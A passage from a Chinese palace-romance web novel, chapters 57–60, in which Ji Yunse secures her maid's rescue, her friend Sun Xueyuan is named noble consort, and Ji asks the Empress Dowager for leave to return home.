她既然怀疑了丁香,就算这贱婢真的没有暗暗帮纪云瑟,她也断然不会再用。 当初,她的确小瞧了纪云瑟这个小丫头,竟没有思虑太多,随意指派了个宫女去服侍。如今看来,这丫头心机深沉,手段了得,竟然数次从自己手里逃脱不说,还能让她损兵折将。 不让人看着这丫头,实在无法放心。 丁香被拖了下去,哭声渐远。纪云瑟稍微松了松宽袖中的拳头,躬身屈膝行礼,道: “多谢贤妃娘娘抬爱!” 她心里清楚,这种情况,能够保住丁香的性命,就是万幸了!至于贬去浣衣局,应该还有别的办法能救她。 夏贤妃阖目向她摆了摆手,道: “你身上刚好些,回去歇着吧!” 纪云瑟恭敬行礼: “是,娘娘。臣女告退。” 名唤梅香和菊影的两个宫女跟着她一同回到毓秀宫,为她把厢房内重新收拾了一通。 至申时,纪云瑟故意没有提起去太医署给她取药一事,果不其然,沈绎亲自给她送了来,梅香接过递给她。 沈绎随口问道: “感觉如何?可好些?” 他刚想说若是无碍的话就不必吃药了,却见纪云瑟忽的按住自己的额头,道: “沈太医,我的头还是很疼。” 见她拧紧眉心“嘶”了一声,似浑身无力般跌坐在绣墩上,沈绎忙道: “我看看。” 他隔着衣袖切上了她的寸关尺,却见小姑娘向他使了个眼色,又看了一眼身旁的两个宫女。 沈绎方察觉,她原先的那个宫女不见,取而代之的是两个陌生的面孔,他瞬间明白了她的意思。 片刻后,沈绎皱着眉头,道: “纪大小姐乃寒湿侵体,头部的湿邪之气未出,故而头疼不已,恐要施针和艾灸。” “只是,在下的针囊一直放在寿康宫。” 他犹豫着道: “不若,等在下过去取来,给小姐施针。” 纪云瑟带着一丝哭腔,道: “我都快疼死了!哪里等得了这许久?” “我跟你去吧,就在太后那儿,你给我施针就行。” 沈绎道: “也好,就请小姐随在下走一趟。” 他见两个宫女同时跟了上来,便道: “施针之后,需及时服用一碗姜汤,恐要提前备着。” 纪云瑟吩咐其中的梅香道: “你留下给我准备姜汤,她跟着我来就行。” 梅香和菊影互相看了一眼,点头应“是。” 远远的看到寿康门时,沈绎看了一眼纪云瑟,似忽的想到什么: “在下一时竟忘了提醒,小姐这身衣裳单薄了些,若是施针后恐会着凉。” 纪云瑟向菊影道: “那你回去帮我拿件披风送来吧。” 菊影有些犹豫,道: “可是,姑娘一个人……” 纪云瑟蹙眉,道: “什么一个人?沈太医不是在此么?” “前面就是寿康宫,到处都是人,你有什么不放心的?” 菊影抿了抿唇,终是应声转身离开。 见她的人影消失在宫道拐角,沈绎看了一眼纪云瑟,二人行至花丛后,关切道: “究竟发生什么事了?” 纪云瑟终是忍不住,哭了出来: “丁香,她被打了十大板子,贬去浣衣局了!” “都是为了帮我,是我害了她!” 沈绎见她的眼泪珠子大颗大颗地滚落,忍不住轻拍她的肩膀劝慰道: “你先别急。” 他略思一瞬,道: “我先悄悄替你问一问,问到她的去处后,我会亲去给她医治,你放心,若只是十大板,及时治疗的话,不会留下病根。” 纪云瑟擦了一把泪,道: “真的么?” 见沈绎笃定地点点头,她随即又问: “会不会连累你?” 沈绎神情严肃地看着她: “你我之间,何出此言?” 他又想了想,道: “不过,若是你要救她出浣衣局,恐不容易。” 纪云瑟也想过这个问题,若是去求太后,许多事就瞒不住了,而且,太后如今的身子根本经不起折腾。 至于晏时锦,他权力再大,却管不了后宫的宫女,何况,她也不想让他知晓太多她与夏贤妃之间的官司。 但是,浣衣局根本不是人待的地方,丁香又是被夏贤妃打了一顿贬去的,那起子拜高踩低的奴才更会把她往死里折磨,纪云瑟不能耽搁,必须尽快救出她! 沈绎看出了她的焦虑,也大致猜到了她的想法,略思一瞬,道: “我知道有一个人,能帮到你,也定然愿意帮你。” 第57章 盛夏的烈日炙烤着皇城,热浪蒸腾,景福宫偏殿的厢房内却是一片清凉。 原本不大的屋子里搁着两台冰鉴,散发着丝丝凉意。 窗棂轻掩,竹帘垂落,孙雪沅端坐在窗下,飞针走线地绣着一只精巧的香囊。 婢女素捻立在一旁目不转睛地看着,暗自惊羡那支并蒂荷花在自家姑娘的手中瞬间栩栩如生,似能闻到淡淡荷香的同时,又深深叹了口气。 她上前劝道: “姑娘,您绣了半日,歇息一会儿吧,小心又伤了眼睛。” 她家姑娘从前在家中时,常常被逼着熬夜做活,留下了眼疾,跟着太妃入宫后,方养好了些。 可是这些时日,姑娘又开始没日没夜地做这些活计,她虽不说缘故,但素捻大致能猜到。 端阳那日,姑娘被江公公找了去,直到第二日一早方回宫,素捻给姑娘沐浴更衣时,就发现了她身上的异样,结合最近源源不断的赏赐,不难猜那男子是谁。 自家姑娘一直被嫌弃退过婚,无人求娶,况她又没有什么嫁妆,那样的性子就算是找了合适的人家,也是被欺负看不起。 若是能沐得天恩,或许是一件好事。但奇怪的是,姑娘自那日从重华殿回来后,就似变了一个人,除了去学堂,回宫后就把自己关在房内,也不言语,有时还偷偷抹泪。 就在她以为姑娘受了什么委屈时,却见赏赐继续每日送来,冰鉴和各式新鲜水果,每晚的燕窝粥,从未断过。 素捻也曾试探着问了姑娘到底出了什么事,她总是不说话,就连江公公找她,也一直托辞不见。 孙雪沅恍若未闻,素捻知晓自家姑娘的性子,虽温顺,但有时决定的事也是十匹马都拉不回来。 她只能叹了口气,将准备好的一碟果盘放在她身侧的方桌上,道: “姑娘 ,这是江公公送来的蜜瓜,凉凉甜甜的最是解暑,您吃一些吧。” 孙雪沅看了一眼,微微蹙眉,道: “我不是说了么?江公公再送什么来,都别收,你为何不听?” 素捻为难道: “姑娘,江公公是御前的总管公公,奴婢怎敢拒绝?” 孙雪沅轻轻叹了口气,不再言语,素捻无奈,只能将果盘放回冰鉴上。 不多时,有小宫女来报: “姑娘,纪姑娘在宫外求见。” 孙雪沅闻言顿了顿,立刻停下手里的活儿,放在一旁,道: “什么叫‘求见’?快请进来!” 她起身步出屋外,就见纪云瑟进入宫门内,看见她后唤了她一声: “雪沅。” 孙雪沅拉着她进入厢房内,吩咐素捻给她上茶,把果盘也拿过来,看了一眼屋外的烈日,有几分诧异道: “云瑟,天气热,你怎的过来了?” 纪云瑟看向她身旁的素捻,欲言又止。 素捻知晓这位是自家姑娘在宫里唯一能说上话的好友,见这情形,自觉道: “姑娘,适才太妃那边的嬷嬷找奴婢,奴婢去瞧一瞧。” 说罢,她退下关紧了房门。 纪云瑟的目光落回眸光清澈的孙雪沅身上,开门见山地拉着她恳求道: “雪沅,你一定要帮我!” 孙雪沅见她神情急切,有些诧异,忙问道: “云瑟,到底发生了何事?我…我能帮你什么?” 纪云瑟握着她的手,眼眶微红: “雪沅,我想让你帮我救一个人。” 她顿了顿,也不拐弯抹角了,直接道: “就是我身边的宫女丁香,因我之故,被夏贤妃杖责贬去了浣衣局,雪沅,如今,只有你能救她!” 她刚从沈绎的口中得知,永安帝早已准备册封雪沅为贵妃,赐居的还是先皇后的凤仪宫,只是雪沅似有犹豫,故而一直未成。 孙雪沅瞪大眼睛愣了愣,有些无措: “夏…夏贤妃?” “可是,我能怎么帮你?” 纪云瑟拉着她的手,道: “不必你说到陛下面前,只需跟江公公说一声,此事就有转机了!” 孙雪沅本能地低下头,小声道: “云瑟,你…你在说什么?我,我怎么会……” 纪云瑟已经十分了解她的性子,是一个说不了谎话的人,况自己亦没有空与她拐弯抹角,便道: “雪沅,陛下心仪你,你也爱慕陛下,是不是?” 孙雪沅抚着通红的脸颊,一脸惊诧地看向她: “云瑟,你…你怎么会知道的?” 见纪云瑟叹了口气,孙雪沅立刻拉住她的手,努力解释道: “云瑟,你听我说,我不是故意的!” “我之前,并不知晓你,你和陛下……” “我真的不想…对不起!” 纪云瑟拍了拍眼前这位语无伦次,目光中全是懊恼的傻姐妹,无奈叹道: “你跟我说什么对不起?” “我从未想过做陛下的嫔妃,我只想快些出宫!” 孙雪沅诧异道: “为…为何?” “你入宫,不就是为了……而且,太后不也是希望你……” 纪云瑟听她如此说,大致猜出了她不肯接受册封的原因,忙道: “傻姑娘,你不会以为抢了我的什么东西,所以才和陛下闹别扭的吧?” 见孙雪沅呆呆地看向她,纪云瑟抚了抚额头,握着她的肩膀道: “雪沅,你怎的不问问我呢?我是被我爹逼着入宫的,我根本就不想留在这里,你答应陛下的册封才是帮我呀!” “而且,既然陛下喜欢你,你也喜欢陛下,就不应该因为其他的什么人什么事放弃呐!” ~ 暮色四合,勤政殿外一片静谧,侍卫宫人垂首侍立在外,鸦雀无声。 这些时日头发都要熬白了的江守忠躬身轻轻关上殿门,悄声步出殿外,细声嘱咐候在外的几名内监: “给杂家打起十二分的精神,小心伺候着,若是惹了陛下生气,谁也救不了你们!” 他望着半空的一轮明月长吁短叹了片刻,走出宫门,却见宫道上有个娇小纤弱的身影向这边走来,如此熟悉! 江守忠揉了揉眼睛,还以为自己在恍惚中有了错觉,直到走近,才看清,果然是他那主子朝思暮想不得见的姑娘。 这位总管内监老泪纵横,快步迎了上去: “哎呦,我的好姑娘,您终于露面了!” 自从那日这姑娘一早从勤政殿消失,他奉命拿着圣旨在景福宫外与她说了几句话后,就再没见过她,除了去重华殿,就是把自己关在景福宫不出门。 陛下自是不便亲自去寻她,这位天子嘴上不说什么,脸色却一天比一天黑沉,可苦了他们这些每日在御前晃眼的人。 孙雪沅低着头,弱弱问道: “公公,我……” 见孙雪沅主动过来,江守忠岂可再放过她?忙叹着气,道: “唉,姑娘快去瞧瞧陛下吧!” 孙雪沅一惊,心急之下口不择言道: “陛下,他怎么了?生病了么?” 江守忠也不管什么忌讳,直接点点头,相思病可不是病么! 少女的脚步匆忙,江守忠亲自给她打帘子,这会子,就不用走什么宣召询问的流程了。 大不了,就是天子发怒砍了他的脑袋,左不过日日这样提心吊胆的,还不如来一刀痛快。 殿内一片寂静,鎏金龙纹三足熏炉中的龙涎香扑面而来,男子儒和中带着不耐的声音响起: “朕不是说了么?无事不得擅入!” 少女脚步微顿,江守忠并不言语,只向她点点头,抬手做了个请进的手势。 孙雪沅深吸一口气,在他的眼神鼓励下,方往前走,行至大殿中央,跪地俯首: “臣女,给陛下请罪!” 江守忠悄然抽身,关紧殿门,将门外的几名宫人支开,自己守在那儿,忍不住倾耳听着殿内的动静。 永安帝淡淡看向她,并未开言,小姑娘已经老老实实将事情原委交待了一番。他不禁拧紧了眉心,目光沉了沉: “你的意思是,朕在你心中,远不如你和那姑娘的情分?” 他简直被她气得哑然失笑,若是那姑娘不去找她说明白,或者,那姑娘打定了主意留在宫里做他的嫔妃,她孙雪沅就打算始乱终弃,跟他一别两宽? 少女轻声抽噎,嗓音柔软得如同弱柳拂过水面: “臣女,对不起陛下!” 永安帝捏紧了手中的菩提子,冷声道: “若是日后,你还有哪个姐妹瞧上了朕,你是不是,也要把朕让出去?” 孙雪沅声音微颤: “臣…臣女,不敢!” 油润的菩提子在劲长的指节中被揉捏得咯咯作响,男子闭了闭眼: “不敢?” 而不是不愿?! 孙雪沅不敢抬头看他,实话实说道: “而且,臣女也没有别的好友了,只有云瑟一个。” 永安帝再一次直接被她气笑: “所以,朕该庆幸你没有认识更多手帕交?” 孙雪沅早料到他会生气,亦做好了被罚的准备,但见这位素日里儒雅温和的帝王这样质问她,还是忍不住害怕,浑身颤抖着,再说不出一句话来。 其实,当她主动踏入他的宫门,行至他面前时,永安帝的心里就已经默默将从前种种一笔勾销了,此刻见小姑娘吓成了抖筛,他更是心软得一塌糊涂,放缓音色,道: “地上凉,起来吧。” 孙雪沅伏地不动,哑声道: “臣女对不起陛下,臣女愿领罚!” 门外的江守忠长吁一口气的同时,又默默感叹这真是个傻姑娘,他这主子恨 不得把她放心尖上宠着,哪能舍得罚她? 明黄的帷幔随微风轻轻摇曳,烛火中的帝王一脸无奈地看向不远处娇软得如同她养的那只雪白猫儿一般的小姑娘,不禁深深叹了一口气,道: “无论朕要罚你什么,你都认么?” “嗯!” 孙雪沅弱弱点了点头,永安帝搁下手串,缓声道: “好,你先起身,过来。” 第58章 寿康宫内满是艾烟的余味,太后终于亲眼见证了皇帝这棵老铁树开花,但她无论如何都没想到,被皇帝领进来的,是太妃孙氏的侄孙女。 这孩子每次跟着孙氏来请安,都是默默躲在后头行了礼就不说话,太后也是今日,算是真正看清楚她的容貌,自然跟纪丫头没法儿比,但胜在沉静温婉,眼神清澈。 原来,皇帝年纪大了,好这寡淡闷葫芦的奇特口味。 太后心里说不上高兴,毕竟不是她看上的儿媳妇,更无法理解皇帝的眼光,但想到自己时日不多,能看见唯一的儿子以后有个贴心的姑娘照顾,也就不想计较太多。 “都起来吧,坐!” 永安帝自然而然地扶了一把孙雪沅,太后将一切尽收眼底,微微扯了扯唇角,吩咐宫人上茶。 孙雪沅并未随皇帝一同落座,她见周氏端来了太后的药碗,恭敬一福,道: “不知臣女是否有幸服侍娘娘喝药?” 太后看了正襟危坐的皇帝一眼,便知,这姑娘已经被他调教过了,她又不是恶婆婆,断然没有给新媳妇下马威的道理,便微微颔首应允。 周氏将药碗递给孙雪沅,她轻轻舀起一勺,细心吹散热气,动作轻缓地送到太后唇边,眼神专注而温柔。 太后张口喝下她晾得不冷不热的药,又被她用干净的帕子擦了擦嘴角,这般细致周到的服侍,自然是挑不出什么错处来,一碗药喝毕,她摆摆手,道: “别忙了,坐着吧!” “谢娘娘。” 孙雪沅恭敬一福,又从进来时捧着的一个托盘里,将那件秋香色的外衫双手奉上,道: “臣女不才,亲生做了一件衣裳献于娘娘,望娘娘笑纳。” 一旁的周氏接过,送到太后面前,赞道: “姑娘真是好手艺。” 太后接过,看了一眼针脚和绣花,微微点了点头,道: “有心了,坐吧!” 孙雪沅乖巧地应声,坐在皇帝圈椅旁的一张小杌凳上,低眉敛目,双手交叠于膝,那份恬静与规矩,倒让太后心中那丝不悦渐渐消散,随口与她寒暄了几句,便道: “哀家今日起得早,有些累了,你们去吧!” 永安帝和孙雪沅依言起身,行了礼告退。 太后见周氏过来欲撤下他们用了的茶碗,便道: “皇帝的先别忙着收。” 果不其然,片刻后,永安帝又回来,太后也不多言,待他坐定后,直接问道: “准备给她什么位份?” 永安帝轻轻甩了甩手中的菩提子,道: “儿子特回来先问问母亲。” 太后深深看了他一眼,轻哧一声,道: “还问我做什么?” “不是都派人修缮凤仪宫了么?” 一宫主位是跑不了,至少是嫔位。 自打那日听皇帝说起有心仪之人,她就把江守忠叫过来细细问了,那个老精怪自然打死都不肯透露正主是谁,但其他的,譬如皇帝对那姑娘的心意有多贵重,该交待还是交待了。 永安帝淡笑一声: “还是要母亲您同意才是正理。” 他见太后似坐着有些累,忙起身扶着她往下躺了躺,又将引枕重新放好,顺势坐在床沿上,为她掖了掖被角。 太后皱着眉头瞧了他一眼,半猜半疑道: “总不能,她刚入宫,就封妃吧?” 永安帝面上笑意未减,拨弄着手里的菩提,见太后看着他的神情逐渐失语,片刻后缓声道: “若是儿子没有记错的话,凤仪宫,是历代皇后所居。” “什么?” 太后简直不敢相信自己的耳朵, “你,你要立她为后?” 一个才十八的小姑娘,一入宫,位份就压过所有的嫔妃,包括生育了皇子公主的宫中老人,这些就算了,还直接做正宫皇后? 永安帝颔首道: “儿子真心喜欢她,愿以妻礼待之。” 太后惊得说不出话来,她从前给纪云瑟考量的,也不过是想皇帝看在这孩子是侯府嫡女,先封个嫔位,待诞下皇嗣,再慢慢晋封,到妃和贵妃,宫里毕竟有几个生育了皇子的老人,她甚至都没怎么敢想争皇贵妃之位,更别说皇后了。 可是,孙雪沅不过是个孤女,祖父虽官至礼部尚书,但那是他时任侍郎时因公死在了任上,被先帝追封的。 这样的出身,如何堪当国母? 她不禁心底冷笑一声,看看,一个男人若是真喜欢一个女子,是能心甘情愿拿出他最宝贵的东西,双手奉上的! 但皇帝不行,他是天子,关乎江山社稷,岂能率性而为? 太后觉得脑门芯都被他气痛了,白了他一眼,道: “如今,你是那刚行冠礼的愣头青么?” “孙子都有了的人,还脑子一热,想做什么就做什么?” 说罢,又忍不住咳嗽起来。 永安帝忙上前给她顺着后背,无奈道: “母亲莫急,儿子这不是找母亲您商量么?” “儿子不是没有深思熟虑,后宫一直由夏氏主理,儿子知道,母亲您也不喜欢她的行事,不过是看在她生育了皇子公主的份上,不计较而已。” “雪沅的性子,母亲也能瞧出来,若是儿子不在名分上抬举她,难免不会成为众矢之的,被人欺负。” 太后没好气地剜了他一眼: “后宫的人争什么你不知道么?” “只要你雨露均沾,谁还会针对她?” 永安帝挑眉叹了口气,并不言语。 太后一脸恨铁不成钢,又咳嗽了两声,道: “你不仅想立她为后,还想独宠她一人?” 她用似不认识的眼神,看着这个一把年纪的老儿子,那些平衡后宫朝堂的道理他会不明白么? 他清楚得很!但是,为了他心爱的姑娘,他豁出去了! 半晌,太后终是叹了口气,唤道: “琛儿…” 这是赵琛即位之后,第一次听太后唤回他的名字,倒如回到幼年时一般,他愣了愣,随即应了一声,握住太后的手,微微叹气,道: “母亲,儿子并不想惹母亲生气。” “儿子是觉着,母亲会站在儿子的立场,为儿子考虑。” 太后拍了拍他的手背,语重心长道: “听娘一句劝:有时,福分来得太急,太重,也不是件好事。” “就算不为别的,你也该为孙丫头想一想。” 永安帝看向面容有些憔悴的太后,道: “那母亲的意思是…” 太后见他如此说,闭了闭眼,无奈道: “至多,给她贵妃的位份,若是她有造化,生下皇子,你再立她为后,也来得及。” 永安帝点点头,温声道: “好,儿子谨遵母亲的意思。” 见他答应得痛快,脸上也没有什么不甘无奈之色,太后瞬间反应过来,她这老谋深算的儿子,恐怕早就拟的是贵妃的位份,怕她不同意,才故意说要立后,让她退而求其次的吧! 她闭上了眼,不想看见他得逞的笑意,摆了摆手,道: “去忙吧,哀家要睡了。” ~ 有了太后的点头,封妃的旨意第二日就传遍后宫朝野,大部分人听说了皇帝册封的人和位份,都是惊掉了下巴。 长春宫内,青瓷茶盏更是碎了一地。 夏贤妃根本不相信自己的耳朵,抓住鸣蝉使劲摇晃: “你说谁?” 鸣蝉忍住头晕,再一次道: “孙雪沅,是孙太妃宫里的孙姑娘!” 夏氏只觉得似突然有柄利刃插入了自己的脑袋里,一阵猛烈的剧痛让她承受不住,跌坐在美人榻上愣了好半晌。 鸣蝉慌忙扶住她,小心翼翼地问道: “娘娘……您没事吧?” 夏氏支撑不住,扶上了一旁的凭几, “孙雪沅?” 从哪里冒出来的无名小卒?她甚至连那姑娘的样貌都想不起来,就连她的名字,也是今日听着宣读的圣旨,才得知的。 夏氏冷笑了几声,陛下啊陛下,你这是打了多少人的脸? 也不知在哪里捡的阿猫阿狗,竟然被他当宝贝似的,一来就是贵妃?入住凤仪宫,难不成,等她生了皇嗣出息了,还想抬举她做皇后? 夏氏的脸已经被似笑非笑、似怒非怒的表情扭曲得面目狰狞,鸣蝉从未见过自家素来端庄沉稳的主子这副模样,惊吓过后,抿了抿唇,劝解道: “娘娘,这不过…不过是陛下一时心血来潮而已,那位姿色平平,想必…想必,陛下喜欢一时,过后,就不在意了。” “不在意?” 夏氏冷笑一声,密不透风地瞒了如此久,初封就是贵妃?这已经不是表面的喜欢不喜欢的问题了,根本就是托付了真心吧! 若是那丫头不是个孤女,但凡娘家有个像样的人,恐怕直接就立后了吧? 她捏着一阵一阵似欲撕裂般疼痛的额角,觉得自己就是个傻子! “亏我还一直只盯着纪云瑟!” 鸣蝉闻言,扯了扯唇角,宽慰她道: “正是呢!说来,太后娘娘,还有纪姑娘,恐怕比您还伤心呢!” 夏氏轻哧道: “你懂什么?” “太后和陛下是亲母子,纪丫头她喜欢归喜欢,真要跟陛下的心意冲突了,还不是站在自己儿子这边!” “至于纪云瑟,她配么?长得一张祸国殃民的脸,陛下敢纳她就怪了!” 鸣蝉顿了顿,又劝道: “娘娘您还有蔚王殿下和公主呢,她再怎么赶,也越不过您生的皇子去。” 夏贤妃坐直,挺了挺腰,不错,她有已成年的皇子,那丫头有什么?就算陛下身子康健,她能生,可养不养得大,谁又能说得准呢? 她还没有输! “来人,给本宫更衣,本宫要带着檐儿和昭儿,去拜见贵妃娘娘!” 第59章 纪云瑟找到孙雪沅的第二日,就听沈绎说,首领内监江守忠亲自过问了一回,丁香便从浣衣局挪出来,暂时安置在景福宫养伤,由沈绎看诊过,伤势已经控制,只需养一段时日,不会有大碍。 她亲去看了一回,方彻底放下心来。 又得知雪沅已经和永安帝交待原委,不得不感叹这姑娘太过实诚,也不知扯个谎,就说自己没准备好,再哄一哄事情便过去了。 男人嘛,不都是希望心仪的女子把自己放第一位嘛! 不过,纪云瑟也明白,永安帝恐是见惯了后宫嫔妃的尔虞我诈,故而才喜欢雪沅单纯老实的性子。 没几日,孙雪沅被册封为贵妃,入主凤仪宫的旨意就传遍了六宫。赵沐昭根本没空再理会纪云瑟,匆匆忙忙地就带着人去了长春宫。 梅香和菊影见此情形也懒怠了许多,对纪云瑟的事多半是睁一只眼闭一只眼,不管不顾。 纪云瑟倒是乐得自在,但也为雪沅暗暗忧心,她那个性子,若真被夏贤妃这等老谋深算的嫔妃暗中下手对付,恐怕会被吃得骨头都不剩。 不过幸好,永安帝很是看重,直接给了她贵妃之位,有皇帝护着,要打她的主意,也得先掂量掂量。 纪云瑟准备了一番,决定自己去找太后,她该出宫了。 行至寿康宫,正殿外的小宫女看见她,客气地朝里头递话: “禀太后娘娘,纪大姑娘来了。” 纪云瑟照例问道: “娘娘醒了么?” 小宫女为她打起帘子,答道: “娘娘已经醒了一会儿,正在和晏世子说话呢。” 晏时锦…… 他也来了? 纪云瑟停下脚步,犹豫间,周嬷嬷已经出来迎她,笑道: “姑娘来了,娘娘正念叨着要去请你呢!” 纪云瑟淡笑一声,只得跟着进去,行了礼,太后便拍了拍自己身旁,道: “过来,坐下说话。” 纪云瑟看了看,晏时锦坐在紧靠着暖炕的圈椅上,身旁的另一把圈椅并排挨着,她扯出一抹笑,道: “谢娘娘。” 她瞥了一眼容色如常的晏时锦,却迟迟不肯落座。 因为不管她坐在太后所指的炕沿上,还是坐另一张圈椅,都跟这厮挨得极近,她可不想让太后看出什么端倪。 幸好太后立即转头向晏时锦道: “适才,你说衙门里还有事,既如此,你忙去吧!” 晏时锦闻言起身,道: “今日确实有些事,……” 纪云瑟看他要走,松了一口气,便顺着太后的手指处,坐在她身旁。却不料他余光瞥了一眼过来后,只是躬身为太后掖了掖被角,便坐下继续道: “但都不是什么紧要的,孙儿还是留下来陪皇祖母多说一会儿话吧!” 纪云瑟: “……” 这厮…… 不用怀疑,他就是故意的! 太后自是不以为意,因为一直对唯一的女儿赵玥心怀歉疚,晏时锦又是她一手养大的亲外孙,在她心目中比永安帝这个亲儿子还亲厚些。况素知他不喜言语,也不多管闲事,故而很多时候与人说话都不会避讳他。 太后深深叹了一口气,向纪云瑟露出一副歉疚的表情,十分遗憾道: “丫头,哀家对不住你!” “只是,皇帝他……” 纪云瑟瞥了一眼身旁目光发冷的男子,面向太后发自内心地笑道: “娘娘何出此言?有了娘娘对臣女的这份抬爱,臣女已经感激不尽了!” “雪沅是臣女的好姐妹,臣女真心为她高兴。” 太后见她笑容真诚,没有一丝怨怼,不禁抓着她的手,欣慰道: “好孩子,我就知道,你是最懂事的。” 纪云瑟回握住太后的手,看着这位真心疼爱自己的长辈,如从前一般顺手替她按揉着手掌的几个穴位,温声道: “娘娘,雪沅,不,应该称贵妃娘娘了,她性子温婉和顺,是个最良善不过的人,定会好好孝顺您。” “娘娘您无需思虑太多,好好养着才是正理。” 一股暖流从手心传来,柔腻无骨般的嫩白小手力道恰到好处的推拿,还能看着这张赏心悦目的脸,太后不禁感叹: “是哀家,没这个福分呐!” 她缓缓闭上眼,喃喃自语道: “唉,也不知日后便宜了谁。” 感觉到一道炽热的目光停在她身上,纪云瑟侧眸瞧了过去,就对上晏时锦颇具意味的神色,她自然明白这厮留下来是什么意思。 但这让她如何开口? 陛下刚册封了新人,她就跟太后说自己心仪与他这个皇帝外甥,疯了吧? 何况,她又不是真的心仪他,根本不想再跟他扯上什么关系,现下,她只想快些出宫。 见太后阖目不语,纪云瑟向他露出一丝恳求的神色,轻轻摇了摇头。 又是这副委屈求人的小模样,晏时锦此刻却不想买账。 她明明说要自己跟太后坦白,放她出宫,再与他议亲。可竟然拖到如今,还是一副不想明说的模样,究竟在等什么? 太后悠悠睁开眼,看向认真替自己搓手的小姑娘,抽出另一只手,拍了拍她的手背,道: “你放心,哀家会留意,替你寻个好的!” 晏时锦微黯不善的眼神看了过来,纪云瑟赶紧低头,羞涩一笑: “太后不必为臣女费心,臣女……” “还不想……” “欸,” 太后打断她,温声道: “你眼看着就满十七,不算小了,哀家跟你这般大时 ,都快当娘了!” 周氏亲端了一碟切好的蜜瓜过来,笑道: “娘娘如今就悬心着姑娘的亲事。” 又看了一眼还未走的晏时锦,接口道: “对了,还有这位世子爷的。” 晏时锦余光向身旁的纪云瑟瞥去一眼,趁机道: “皇祖母,其实,孙儿已经……” 纪云瑟眉心一跳,顾不得许多,立刻打断他,向太后道: “娘娘,臣女有一事相请!” 太后立刻看向她,柔声问道: “何事?” 纪云瑟无视身旁男子期待中带着几分催促的目光,抿了抿唇,说道: “臣女入宫许久,有些想家人了,请娘娘允臣女出宫回府。” 太后叹了口气,如今这光景,的确不该留这孩子一直在宫里了。 见这位面容憔悴的老人家面露十分的不舍,想着她对自己真心实意的照拂,纪云瑟心中也有些感伤,她立刻换上笑容,道: “娘娘若是想臣女了,随时召臣女入宫就是。” 这般善解人意的姑娘,让人怎能不喜欢?太后无奈笑着点点头,道: “好,你尚有父母姊妹弟兄在家,哀家也不能让你们一直骨肉分离。” “就是你的亲事……” 纪云瑟终于被晏时锦不时飞过来的眼刀弄怕了,赶紧装出几分害羞,道: “娘娘放心,若是臣女有了心仪之人,定会第一个告诉娘娘!” 她余光瞥见身旁男子似放松了一些坐姿,向后靠了靠,微微吁了一口气。 太后拉着她的手,轻轻摩挲着,欣慰笑道: “好!” “不管是哪家的,哀家定然为你做主!” 纪云瑟垂眸道: “多谢娘娘!” 太后随即唤了寿康宫的首领内监过来,吩咐他过两日派人好好送纪云瑟回府,又命人挑选许多上好的钗环衣裳做为赏赐,一同送回去。 纪云瑟连声道了谢,便道: “臣女不打扰娘娘歇息了,先行告退。” 说罢,颇具意味地看了一眼晏时锦后,行礼出门。 太后目送她步出殿外后,方看向晏时锦,道: “刚才,你说什么来着?” 晏时锦道: “孙儿是说,刚想起衙门里有些事,需回去处理。” 他自是读懂了纪云瑟离开时看向他的那一眼带着央告的眼神,终是决定尊重她的意思,暂时不在太后面前说破。 周氏倒在一旁笑道: “老奴还以为,世子爷是想告诉娘娘,您心里有人了呢!” 太后摆摆手,无奈笑道: “他的亲事,我可做不了主!” “不必跟我说,让他自己回府告诉文缨去!” 又向晏时锦道: “千万别像你皇帝舅舅一样,有眼无珠,不识好歹就行!” 晏时锦依言行礼退出宫外,不多时就追上了提着裙摆快步往回走的纪云瑟。 男子扫了一眼四周并无什么人,一把将她拉入了不远处的一座空置的抱厦内。 门被关紧,光线骤暗,又是这一招! 这到底是在皇宫里,他一言不合就与她孤男寡女同处这阴暗无光的屋子里,还有没有王法了? 纪云瑟撇了撇嘴,有些不耐地对上男子看不出神色的黑眸,道: “你又做什么?” 晏时锦松开了她的手臂,俯身向她靠近,道: “你说呢?” 他对她今日在太后面前的表现,实在算不上满意。 纪云瑟秉着息事宁人的态度,压低了声量,道: “我不是都跟太后说清楚了么?过两日就出宫回府。” 晏时锦: “说这些就够了?” “要不然呢?不知你到底在急什么!” 纪云瑟没好气地嘟囔了一句,这厮要名分也要得太急切了吧?不就是亲个嘴么?虽然是她主动招惹的这厮没错,但她又没有对他做什么别的过分之事! 男子抬手轻轻拂过她的鬓角: “你是不急,还是不想?” 纪云瑟顿了顿,不敢让他瞧出自己的心思,低下头顺了顺他挂在腰间玉佩的穗子,柔柔道: “哎呀,你再给我一些时日嘛!” “这种事,我总得回去跟父亲家人禀明一声呀!” 又是这种让人无法拒绝的娇软腔调,晏时锦喉间不自觉滚动了一下,放过了她: “正好,我也与你一样。” 第60章 晏国公府邸是御赐的百年老宅,几株古木参天,投下一片阴凉。老国公晏起和庄氏夫妇住在正房后的福欣堂。 晏起戎马一生,虽是花甲之年,却精神矍铄,每日晨起都要打一套拳,练一练八段锦。 庄氏出身侯府,世代簪缨,与晏起算是青梅竹马的情分,嫁入晏府后相夫教子,得夫婿爱重,子孙孝顺,可谓一生顺遂。 除了公主长媳生产后不到半年就虚弱而逝,当时唯一的孙子晏时锦被太后抱入宫中抚养之外,基本上没有碰到什么烦心事。 二人用过早膳,照例就有晏徇的续弦万氏,带着自己所生的老大晏时钦的媳妇薛氏,和两个庶子的媳妇过来请安说话。 “天气热,你身子不便,今后就别每日过来了。” 庄氏看向薛氏,又端详了半晌她挺起的肚子,道: “可有问太医,是男是女?” 薛氏摇了摇头,道: “不曾。” “太医只说,把不准,不敢轻言。” 她知这位老祖宗心心念念家中能添个小女娃,但她那位时任吏部侍郎的父亲却希望她的头胎为国公府生下长孙。 庄氏看她的模样,就大致猜到了,多半又是个小子,微不可察地叹了口气,笑道: “无妨,是男是女都一样,只要康健平安,就是好的。” 万氏笑道: “是呢,肚子看着比平常的大一些,定是个壮实的。” 庄氏又看向另两个刚成婚不就的孙媳,笑道: “你们俩,也该加把劲儿了!” 国公府内嫡庶分明,两人出身不高,平日里也不多言语,只羞涩一笑,便默默饮茶。 几人正说着话,忽有门外打帘子的婢女恭敬道: “世子爷来了。” 晏起看了一眼窗棂外的日头: “呵,太阳打西边出来了?” 庄氏却是莫名眼皮一跳,她这个长孙每日忙碌难得见人影,就是给他们请安也是得等到旬休或是晚间从衙门里回来,从未这时过来。 万氏和薛氏几人也是一脸诧异,平日里她们与晏时锦难得打一次照面,正犹豫着要不要起身离开,男子高挺的身影已经阔步走了进来,向晏起夫妇躬身行了个礼,道: “孙儿给二老请安。” “顺便向二老禀明一事。” 庄氏立马感应到绝不是什么好事。 